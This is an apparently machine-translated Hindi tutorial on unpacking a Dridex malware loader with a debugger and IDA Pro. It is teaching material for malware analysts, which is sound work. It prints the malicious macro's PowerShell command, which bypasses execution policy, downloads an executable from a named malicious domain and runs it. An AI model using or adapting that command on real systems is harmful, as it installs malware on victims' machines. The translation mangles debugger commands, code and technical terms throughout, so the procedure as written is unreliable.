🏇🏾 👎🏼 🤹🏽 अनपैकिंग: ड्राइडेक्स बूटलोडर 🆑 👩🏿‍🤝‍👩🏻 😊

शुभ रात्रि दोस्तों! एक महीने से भी कम समय में, "रिवर्स इंजीनियरिंग" पाठ्यक्रम शुरू होता है, और इस संबंध में हम परंपरागत रूप से विषय पर उपयोगी सामग्री साझा करते हैं।

कुछ पाठकों को Dridex (मैक्रो द्वारा रीसेट किया गया) के लिए बूटलोडर को अनपैक करने में समस्याएं थीं, इसलिए आज मैं आपको ऐसा करने का एक आसान तरीका दिखाऊंगा। एक और समस्या जो लोगों के सामने आती है कि मैं हल नहीं कर सकता हूं, यह तथ्य है कि Dridex संक्रामक श्रृंखलाओं में बहुत कम जीवनकाल होता है, जिससे अधिकांश लोगों को रिवर्स करना लगभग असंभव हो जाता है। मैं समझाऊंगा क्यों।

वर्तमान Dridex संक्रमण श्रृंखला के लगभग 4 चरण हैं:

एक मैक्रो युक्त एक कार्यालय दस्तावेज़ एक पॉवरशेल स्क्रिप्ट चलाता है।
एक पॉवर्सशेल स्क्रिप्ट जो हैक की गई साइट या शेयरपॉइंट से पैक किए गए बूटलोडर को डाउनलोड करेगी और उसे चलाएगी।
एक पैकेज्ड बूटलोडर जो खुद को अनपैक करता है और एक नए बनाए गए स्पूलस्प्रव या स्चॉस्ट प्रक्रिया में कोड सम्मिलित करता है।
एक एम्बेडेड प्रक्रिया जो बॉट की वास्तविक बाइनरी फ़ाइल को पुनः प्राप्त करने और निष्पादित करने के लिए लोडर सर्वर से संपर्क करेगी।

विश्लेषकों के लिए समस्या यह है कि यहां विफलता के 2 बिंदु हैं: बूट लोडर की मेजबानी करने वाली हैक की गई साइट शेयरपॉइंट खाते को या तो स्पष्ट या हटा सकती है, या बूटलोडर सर्वर को रोका जा सकता है (उनमें से कोई भी एक सफल संक्रमण को रोक देगा)। इसके अलावा, लोडर सर्वर अक्सर जियोफेंस का समर्थन करते हैं (वे केवल तब काम करते हैं जब आपका आईपी उस देश में होता है जिसके लिए इसका इरादा है और वीपीएन नहीं है), और जैसे ही बूटलोडर को सार्वजनिक रूप से डाउनलोड किया जाता है, Dridex समूह को इसे ब्लैकलिस्ट करने की क्षमता होती है किसी भी C2s (वाणिज्यिक क्लाउड सेवा) से संपर्क करने से इसे चलाने वाले को स्थायी रूप से अवरुद्ध करके।

इन सभी "विफलताओं" के बारे में आश्चर्य की बात यह है कि वे शायद जानबूझकर हैं। संक्रमित ईमेल प्राप्त करने वाले अधिकांश पीड़ित इसे कुछ व्यावसायिक दिनों के भीतर खोल देंगे, जिसके बाद ईमेल खोलने वाले अधिकांश लोग मैलवेयर का विश्लेषण करेंगे, इसलिए यह उपयोगी है कि एक सप्ताह के भीतर सब कुछ गायब हो जाए।

ताकि पाठक इस पाठ को अभ्यास में लगा सकें, एक ज़िप होता है जिसमें एक दुर्भावनापूर्ण कार्यालय दस्तावेज़ और एक ही श्रृंखला से भरा हुआ लोडर होता है, इसलिए मृत URL (पासवर्ड: संक्रमित) के बारे में चिंता करने की कोई आवश्यकता नहीं है। बूटलोडर जियोफेंस वाले सर्वरों के लिए, इसके बारे में मैं कुछ नहीं कर सकता, और चूंकि बूटलोडर को पहले ही वापस बुला लिया गया है, इसलिए आपको इसे शुरू करने के लिए ब्लैकलिस्ट किया जाएगा (यदि आप ब्लैकलिस्ट को बायपास करना नहीं जानते हैं, तो नए वीएम (वर्चुअल मशीन) में इस पाठ का पालन करें) और शायद बाद में आईपी बदल दें)।

पैकेज्ड लोडर प्राप्त करना

पहले चीजें, आप वर्ड में एक दुर्भावनापूर्ण दस्तावेज़ खोलना चाहते हैं, लेकिन अभी तक "सामग्री शामिल करें" पर क्लिक न करें। डिबगर खोलें (सामान्य रूप से मैं WinDbg का उपयोग करता हूं), इसे winword.exe से कनेक्ट करें, CreateProcessW पर एक ब्रेकपॉइंट सेट करें, प्रक्रिया फिर से शुरू करें, फिर "सामग्री सक्षम करें" पर क्लिक करें।

नए ड्राइडेक्स पैटर्न के साथ एक ब्रेकपॉइंट लगभग तुरंत पहुंच जाएगा (कुछ आभासी मशीनों का पता लगाया जा सकता है, इसलिए यदि एक ब्रेकपॉइंट काम नहीं करता है, तो अपनी वर्चुअल मशीन को मास्क करने पर विचार करें)।

हम 1 और 2 क्रिएटप्रोसेसर पैरामीटर (क्रमशः, एप्लिकेशन और कमांड लाइन पैरामीटर के लिए पथ) को अनलोड करना चाहते हैं, हम निम्नलिखित कमांड के साथ ऐसा कर सकते हैं:

डु / c100 पोई (esp + 4)

डु / सी 100 पोई (एस्प + 8)

नोट: डू कमांड शून्य में समाप्त होने वाले एक यूनिकोड स्ट्रिंग को रीसेट करता है, / c 100 अधिकतम तक कॉलम सीमा निर्धारित करता है, और poi (esp + 4) esp + 4 द्वारा इंगित पते को पढ़ता है। मुझे मिले परिणाम:

आवेदन: C: \ Windows \ System32 \ cmd.exe

पैरामीटर: "C: \ Windows \ System32 \ cmd.exe" / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy byP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient )। ('डाउनल' + 'ओडफाइल') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C): \ Users \ Admin \ AppData \ Local \ Temp \ GksagD। exe '); StarT- प्रक्रिया' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

यहाँ हम यह देखते हैं कि एक दुर्भावनापूर्ण मैक्रो किस तरह से cmd.exe को लॉन्च करने के लिए एक कमांड के साथ शक्तियाँ लॉन्च करता है, निष्पादन नीति को बायपास करता है, और फिर निष्पादन योग्य फ़ाइल को लोड और चलाता है। यदि हम स्ट्रिंग कॉन्फैक्शन और वर्णों को हटाते हैं जो कि केवल बासी आक्षेप हैं, तो हमें निम्नलिखित मिलते हैं:

"C: \ Windows \ System32 \ cmd.exe" / c शक्तियाँ -executionpolicy bypass -noprofile -command (New-Object Net.Webclient)। ('Downloadfile')। Invoke ( 'http://littlwnowern.top/lukaku/' ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); स्टार्ट-प्रोसेस' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

अब हम केवल littlwnowern [।] से शीर्ष फ़ाइल को मैन्युअल रूप से डाउनलोड कर सकते हैं [शीर्ष / lukaku / (url अब मृत है, लेकिन मैंने संग्रह को बाइनरी को "GksagD.exe.sample") के रूप में अपलोड किया है, यह एक पैक लोडर है।

बूटलोडर को अनपैक करना

पहले हमें सभी अनुप्रयोगों के लिए DEP (डेटा निष्पादन रोकथाम) सक्षम करने की आवश्यकता है, इसका कारण बाद में स्पष्ट हो जाएगा। ऐसा करने के लिए, "नियंत्रण कक्ष"> "सिस्टम और सुरक्षा"> "सिस्टम"> "उन्नत सिस्टम सेटिंग्स"> "सेटिंग्स" ("प्रदर्शन" अनुभाग में) -> "डेटा निष्पादन निवारण" पर जाएं, फिर सभी कार्यक्रमों के लिए डीईपी सक्षम करें।

इसके बाद, हम पीई एक्सप्लोरर में एक्स फाइल को खोलने जा रहे हैं और पीई हेडर में "रीलोडेशन स्ट्रिप्ड" फ्लैग सेट करते हैं, जो एएसएलआर को लॉन्च होने पर हर बार एक अलग पते पर निष्पादन योग्य फाइल को डाउनलोड करने से रोक देगा, जो कि रिवर्सल को सरल करता है।

अब निष्पादन योग्य फ़ाइल को सहेजें और इसे आईडीए प्रो में खोलें।

आमतौर पर, Dridex लोडर svchost.exe या spoolsv.exe प्रक्रिया बनाते हैं और खुद को इसमें इंजेक्ट करते हैं, इसलिए हम जानते हैं कि अनपैक्ड कोड CreateProcess को कॉल करने की संभावना है; इसे सत्यापित करने के लिए, CreateProcessW (रिट स्टेटमेंट में) के अंत में एक ब्रेकपॉइंट सेट करें और रन पर क्लिक करें।

एक बार ब्रेकपॉइंट पहुंचने के बाद, आपको यह देखना चाहिए कि GksagD.exe ने svchost.exe या spoolsv.exe नामक एक रुकी हुई प्रक्रिया बनाई है, जैसा कि अपेक्षित था। यदि हम CreateProcessW से उस कोड पर वापस लौटने के लिए एक कदम उठाते हैं जो इसे कहते हैं, तो हम निम्नलिखित को पूरा करेंगे।

आईडीए ने निर्देशों को खंडित किया, जिसका अर्थ है कि निष्पादन योग्य लॉन्च होने के बाद से कोड को बदल दिया गया है, जो आमतौर पर जगह में अनपैकिंग का परिणाम होता है (अक्सर मैलवेयर पैकर्स किसी अन्य प्रक्रिया में अनपैक कोड को लिखने के लिए खोखले प्रक्रियाओं का उपयोग करते हैं, सच पैकेट उसी कोड में कोड को अनपैक करते हैं)।

अब हम जानते हैं कि मुख्य निष्पादन योग्य कोड को किसी बिंदु पर बदल दिया जाता है, हम वर्तमान पते पर रिकॉर्ड पर एक विराम बिंदु डाल सकते हैं, जो कोड बदलते ही आग लगा देगा।

उसके बाद, अन्य सभी ब्रेकपॉइंट हटाएं और प्रक्रिया को पुनरारंभ करें।

ब्रेकप्वाइंट को निष्पादन योग्य फ़ाइलों के मुख्य भाग के बाहर एक पते से बुलाया गया था, जिसका अर्थ है कि पैकर ने कुछ मेमोरी आवंटित की और फिर मुख्य निष्पादन योग्य फ़ाइल को बदलने के लिए कुछ कोड की नकल की।

यदि हम मेमोरी को प्रोसेस हैकर में देखते हैं, तो हम देखेंगे कि यह अब पढ़ने योग्य और लिखने योग्य है, लेकिन निष्पादन योग्य नहीं है, जो महान है क्योंकि इसका मतलब है कि पैकर अब इस कोड का उपयोग नहीं करता है।

अब शर्लक स्तर के कुछ निष्कर्षों के बारे में: हम जानते हैं कि कोड को बाद में यहां निष्पादित किया जाता है, और मेमोरी फिलहाल निष्पादन योग्य नहीं है, इसलिए, शायद, कुछ बिंदु पर यह निष्पादन योग्य हो जाएगा।

स्मृति सुरक्षा को कॉन्फ़िगर करने के लिए उपयोग किया जाने वाला फ़ंक्शन आमतौर पर VirtualAlloc, VirtualAllocEx, या NtProtectVirtualMemory है। यदि आप विंडोज के आंतरिक घटकों से परिचित हैं, तो आपको पता होगा कि VirtualAlloc और VirtualAllocEx दोनों आंतरिक रूप से NtProtectVirtualMemory को कॉल करेंगे, इसलिए यह वह जगह है जहां हम ब्रेकपॉइंट सेट करते हैं।

जब भी NtProtectVirtualMemory को कॉल किया जाता है, हम बैठ सकते हैं और कॉल स्टैक की जांच कर सकते हैं, तो इसी पते पर निष्पादन योग्य के रूप में सेट होने की प्रतीक्षा करें, फिर नए प्रवेश बिंदु को खोजने के लिए पीई हेडर को पार्स करें, या हम और स्मार्ट हो सकते हैं।

हम निम्नलिखित स्क्रिप्ट का उपयोग करके NtProtectVirtualMemory पर एक सशर्त विराम बिंदु सेट करने जा रहे हैं:

if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0;

ऐसा करने के लिए, NtProtectVirtualMemory पर जाएं और पहले बाइट पर एक ब्रेकपॉइंट सेट करें, राइट-क्लिक करें> ब्रेकप्वाइंट बदलें, फिर "..." बटन पर क्लिक करें और स्क्रिप्ट पेस्ट करें।

इस स्क्रिप्ट को हर बार निष्पादित किया जाएगा NtProtectVirtualMemory कहा जाता है, और निम्न कार्य करेंगे:

सुनिश्चित करें कि पृष्ठ सुरक्षा पैरामीटर (esp + 0x10) 0x10, 0x20 या 0x40 (उर्फ PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE) है, जिसका अर्थ है कि कॉल पृष्ठ सुरक्षा को निष्पादन योग्य में बदल देता है।
सुनिश्चित करें कि गंतव्य का पता मुख्य निष्पादन योग्य अनुभाग (0x400000 - 0x42e000) की सीमा में है।
सुरक्षा सेटिंग को 0x04 में बदलें (निष्पादन योग्य नहीं)।
0 लौटें (डिबगर को बाधित करने के बजाय निष्पादन फिर से शुरू करें)।

चलिए देखते हैं और क्या होता है।

पहुँच उल्लंघन अपवाद! क्षण का आनंद लेने के लिए कुछ समय निकालें, क्योंकि यह संभवतः एकमात्र गंभीर एक्सेस उल्लंघन त्रुटि है जिसे आपने कभी देखा है ... लेकिन यह अच्छा क्यों है?

हमारे ब्रेकपॉइंट स्क्रिप्ट ने NtProtectVirtualMemory पर सभी मेमोरी को गैर-निष्पादन योग्य के रूप में सेट किया जब पैकर ने इसे निष्पादन योग्य पर सेट करने का प्रयास किया। अपवाद का मतलब है कि वह सब कुछ जो पैकर ने मेमोरी को लिखा था वह अब सफलतापूर्वक लिखा गया है, और वह इस मेमोरी में कुछ कॉल करने की कोशिश कर रहा है। यदि हम भाग्यशाली हैं, तो पैकर ने मेमोरी को जो लिखा है वह अनकैप्ड बूटलोडर है, और जिस पते पर वह कॉल करने की कोशिश कर रहा था वह प्रवेश बिंदु है, है ना?

ऐसा करने के लिए, हम एक अद्भुत टूल का उपयोग करेंगे, जिसे प्रोसेसडंप ( डाउनलोड लिंक ) कहा जाता है, जो किसी भी exe या dll छवियों को प्रोसेस मेमोरी में लोड करता है और उन्हें वापस .exe या .dll फ़ाइलों में पैक करता है।

प्रक्रिया को डंप करने के लिए "pd32.exe -pid" का उपयोग करें।

प्रक्रिया को अनलोड करने के लिए "pd32.exe -pid <process id>" का उपयोग करें।

फ़ाइल नाम के अंत में संख्या मेमोरी में छवि का आधार पता है, इसलिए GksagD_exe_GksagD.exe_400000.exe पुराने निष्पादन योग्य के बजाय पैकर मैप किए गए के समान होगा, इसलिए हम इसे आईडीए में देखेंगे।

प्रवेश बिंदु पता अपवाद पते के समान है, यह एक अनपेक्षित निष्पादन योग्य है!

उलटा सुझाव

बूटलोडर जटिल है क्योंकि सभी तार एन्क्रिप्ट किए गए हैं और कोई आयात नहीं है, लेकिन मैंने अपने ड्रिडेक्स हैंडबुक में जिन तरीकों के बारे में विस्तार से बताया है वे बूटलोडर पर भी काम करेंगे।

एक बार देख लो:

https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html

और

https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html

नोट: बूटलोडर निष्पादन योग्य बहुउद्देश्यीय है (यह वह कोड है जो svchost / spoolsv को एम्बेड करता है और वह कोड जो svchost / spoolsv को एम्बेड करता है)। यदि आप बूटलोडर के इंजेक्शन भाग को उलटना चाहते हैं, तो इसे आईडीए में खोलें और इसे चलाएं। यदि आप बूट भाग को रिवर्स करना चाहते हैं, तो आपको इसे सिस्टम 32 पर कॉपी करने और वहां से चलाने की आवश्यकता है (सावधान रहें कि दोनों मामलों में बूट लोडर को निष्पादित होने के बाद खुद ही हटा दिया जाएगा)।

यदि आप सामग्री को उपयोगी पाते हैं, तो एक प्लस लगाएं, टिप्पणियां लिखें और आज होने वाले एक खुले पाठ के लिए साइन अप करना सुनिश्चित करें!

अनपैकिंग: ड्राइडेक्स बूटलोडर

More articles: